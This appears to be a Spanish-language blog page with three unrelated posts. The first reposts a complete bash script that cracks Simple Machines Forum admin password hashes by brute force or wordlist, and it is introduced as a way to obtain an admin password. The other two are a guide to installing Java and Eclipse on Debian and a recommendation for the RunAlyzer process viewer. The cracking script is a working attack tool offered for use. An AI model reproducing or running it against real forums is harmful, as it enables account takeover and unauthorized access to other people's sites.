Brute Force For SMF [ Fuerza Bruta Para SMF ] [ Script Para Sacar Pass de Admin en SMF ]

No lo e probado y muchas ganas no tengo pero tal vez un dia si que lo haga para ver si funciona, tampoco e leido bien el code, pero la opción de de hacer un ataque de fuerza bruta o uno de diccionario.

#!/usr/bin/env bash
# Simple Machines Forum Cracker V1.0
# coded By 0x90 2009
# 0x90[at]bsdmail.org
# This small tool will bruteForce "Simple Machines Forum" SHA1 hash
# tested on Fedora Linux
#
#    I do not take any reponsibilty for what you do with this tool 
#    Hopefully it will make your life easier rather then making other 
#    peoples lives more difficult!
##############################
#  ___        ___   ___  
# / _ \      / _ \ / _ \ 
#| | | |_  _| (_) | | | |
#| | | \ \/ /\__, | | | |
#| |_| |>  <   / /| |_| |
# \___//_/\_\ /_/  \___/ 
##############################  

echo ".:: Simple Machines Forum Cracker, Coded By 0x90 ::."
echo -n "Enter SMF SHA1 Hash: "
read hash
if [ -z "$hash" ] || [ "${#hash}" != "40" ]; then
echo "Error: please Enter a valid SHA1 hash"
exit
	fi
echo
echo -n "Enter SMF UserName: "
read username

echo -n "Select BruteForce Method:
1: Random BruteForce
2: Dictionary BruteForce
Enter your choise 1 or 2: "
read choise
if [ -z "$choise" ] || [ "$choise" != "1" ] && [ "$choise" != "2" ]; then
echo "Error: please choise between 1 or 2"
exit 1
	fi
#########################
# Random BruteForce
#########################

if [ "$choise" == "1" ]; then
echo "use Random method to crack"
echo "trying to bruteforce SMF SHA1 hash ..."
	
echo -n "enter min lengh: "
read minlen
echo -n "enter max lengh: "
read maxlen

echo -n "Select bruteForce mode:
all, alnum, lower, upper, digit, alpha, symbols
> "
read mode

if [ "$mode" = "all" ]; then
char="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # \$ % & \' ( ) \* + , - . / : ; & < = > ? @ [ \\ ] ^ _ { | } ~"
	fi
if [ "$mode" = "alnum" ]; then
char="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9"
	fi
if [ "$mode" = "alpha" ]; then
char="a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9"
	fi
if [ "$mode" = "lower" ]; then
char="a b c d e f g h i j k l m n o p q r s t u v w x y z"
	fi
if [ "$mode" = "upper" ]; then
char="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
	fi
if [ "$mode" = "digit" ]; then
char="0 1 2 3 4 5 6 7 8 9"
	fi
if [ "$mode" = "symbols" ]; then
char="! # \$ % & \' ( ) \* + , - . / : ; & < = > ? @ [ \\ ] ^ _ { | } ~"
    fi


bf(){
        for c in $char ; do

                nc=$[$nc+1]
                ch[$nc]=$c
        done
        for x in `seq 1 $[$maxlen+1]` ; do

                if [ $minlen -ge $x ] ; then
                        ci[$x]=1
                else
                        ci[$x]=0
                fi
        done
        for clen in `seq $minlen $maxlen` ; do

                while [ ${ci[$[$clen+1]]} -ne 1 ] ; do
                        wrd=""
                        for x in `seq $clen -1 1` ; do
                                wrd=$wrd${ch[${ci[$x]}]}
                        done

		
smf_bf=`echo -n "$username$wrd" | sha1sum | awk '{ print $1 }'`

echo "$wrd: hash: $smf_bf"
if [ "$smf_bf" == "$hash" ]; then
echo
echo "Cracked, smf SHA1 password is: $wrd"
	exit 0
	fi
                        ci[1]=$[${ci[1]}+1]
                        for x in `seq 1 $clen`; do
                                if [ ${ci[$x]} -gt $nc ] ; then
                                        ci[$x]=1
                                        ci[$[$x+1]]=$[${ci[$[$x+1]]}+1]
                                fi
                        done
                done
        done
}

bf



fi
#########################
# Dictionary BruteForce
#########################
# Cain&Abel wordlist https://www.md5this.com/Wordlist.zip
# dont forget to convert the wordlist to Unix file format
# dos2unix Wordlist.txt
if [ "$choise" == "2" ]; then
echo "use dictionary method to crack"
echo -n "Enter dictionary name: "
read dic
echo "trying to bruteforce SMF SHA1 hash ..."
	
n=`cat $dic | wc -l`

echo "we have $n password to try"
for (( i=1; i <= $n; i++));
	do
pass=`sed -n "$i"p $dic`
smf_bf=`echo -n "$username$pass" | sha1sum | awk '{ print $1 }'`

echo "$i: hash: $smf_bf"

if [ "$smf_bf" == "$hash" ]; then
echo
echo "Cracked, SMF SHA1 password is: $pass"
	exit 0
	fi
	done
fi
	exit

Nos vemos


Instalar Java y Eclipse bajo Debian

1)_Primero que nada hacemos lo siguiente en una terminal:

Código:
apt-get install openjdk-6-jdk openjdk-6-jre eclipse

2)_Ahora hay que agregar unas lineas para actualizar las variables de JAVA_HOME y PATH:

Código:
export JAVA_HOME='/usr/lib/jvm/java-6-openjdk'

luego hacemos esto:

Código:
PATH=$PATH:$JAVA_HOME:$JAVA_HOME/bin:$JAVA_HOME/jre/bin

3)_Hay que editar el gestor de java y seleccionamos de la lista el “/usr/lib/jvm/java-6-openjdk/jre/bin/java”:

Código:
update-alternatives --config java

4)_Damos permiso y generamos el directorio de las extensiones:

Código:
touch /usr/local/lib/eclipse/.eclipseextension

luego hacemos esto:

Código:
chmod 775 /usr/local/lib/eclipse/.eclipseextension

y a continuacion esto:

Código:
chown root:staff /usr/local/lib/eclipse/.eclipseextension

5)_Ahora instalamos la llave del repositorio debian-multimedia https://debian-multimedia.org/:

Código:
wget https://www.debian-multimedia.org/pool/main/d/debian-multimedia-keyring/debian-multimedia-keyring_2008.10.16_all.deb

luego hacemos esto para instalar la llave:

Código:
dpkg -i debian-multimedia-keyring_2008.10.16_all.deb

6)_Editamos el archivo de los repositorios:

Código:
gedit /etc/apt/sources.list  (pueden usar el editor que les guste)

y agregamos al final de la linea:

Código:
deb https://www.debian-multimedia.org lenny main

ahora guardamos el archivo y luego cerramos.

7)_Una vez hecho eso debes instalar xulrunner y xulrunner-dev:

Código:
apt-get update && apt-get install xulrunner xulrunner-dev

Espero les guste. Saludos.


Como saber que se ejecuta en el pc ? [ RunAnalyzer Ver Que Programas Se Estan Ejecutando ]

Este programa es totalmente gratis y creo que tenemos la confianza que funcionara bien si lo instalamos ya que este viene de la mano de los que hicieron el spybot por lo tanto tiene trayectoria y se puede decir que es calidad.. ( aunque nada es perfecto claro esta y fallara pero por ser hermano de spybot lo recomiendo ( y si quieren mas control recomiendo linux :D) )

Hay muchos visores de procesos diferentes ahí fuera, sin contar con el presente en el Administrador de tareas ¿Por qué necesitaríamos uno más?

Para empezar, RunAlyzer ha sido programado por el equipo del aclamado SpyBot Search & Destroy, toda una garantía de calidad. De hecho, al igual que sucede en este programa, RunAlizer no es apropiado para usuarios con pocos conocimientos, es un programa bastante avanzado.

Eso sí, en manos expertas puede convertirse en el visor y gestor de procesos y de programas que se inician con Windows definitivo. Muestra una exhaustiva información sobre los servicios iniciados, las tareas programadas, los añadidos para Internet Explorer y, por supuesto, también los procesos en uso y la lista de programas autoarrancables.
Para utilizar RunAlyzer necesitas:

* Sistema operativo: WinXP/2003/Vista

Para descargar —> https://www.safer-networking.org/es/mirrors/index.html

Cualquier duda posteen..

Nos vemos


No usamos Cookies para rastrear nada, navega tranquilo...
Seguir Navegando
x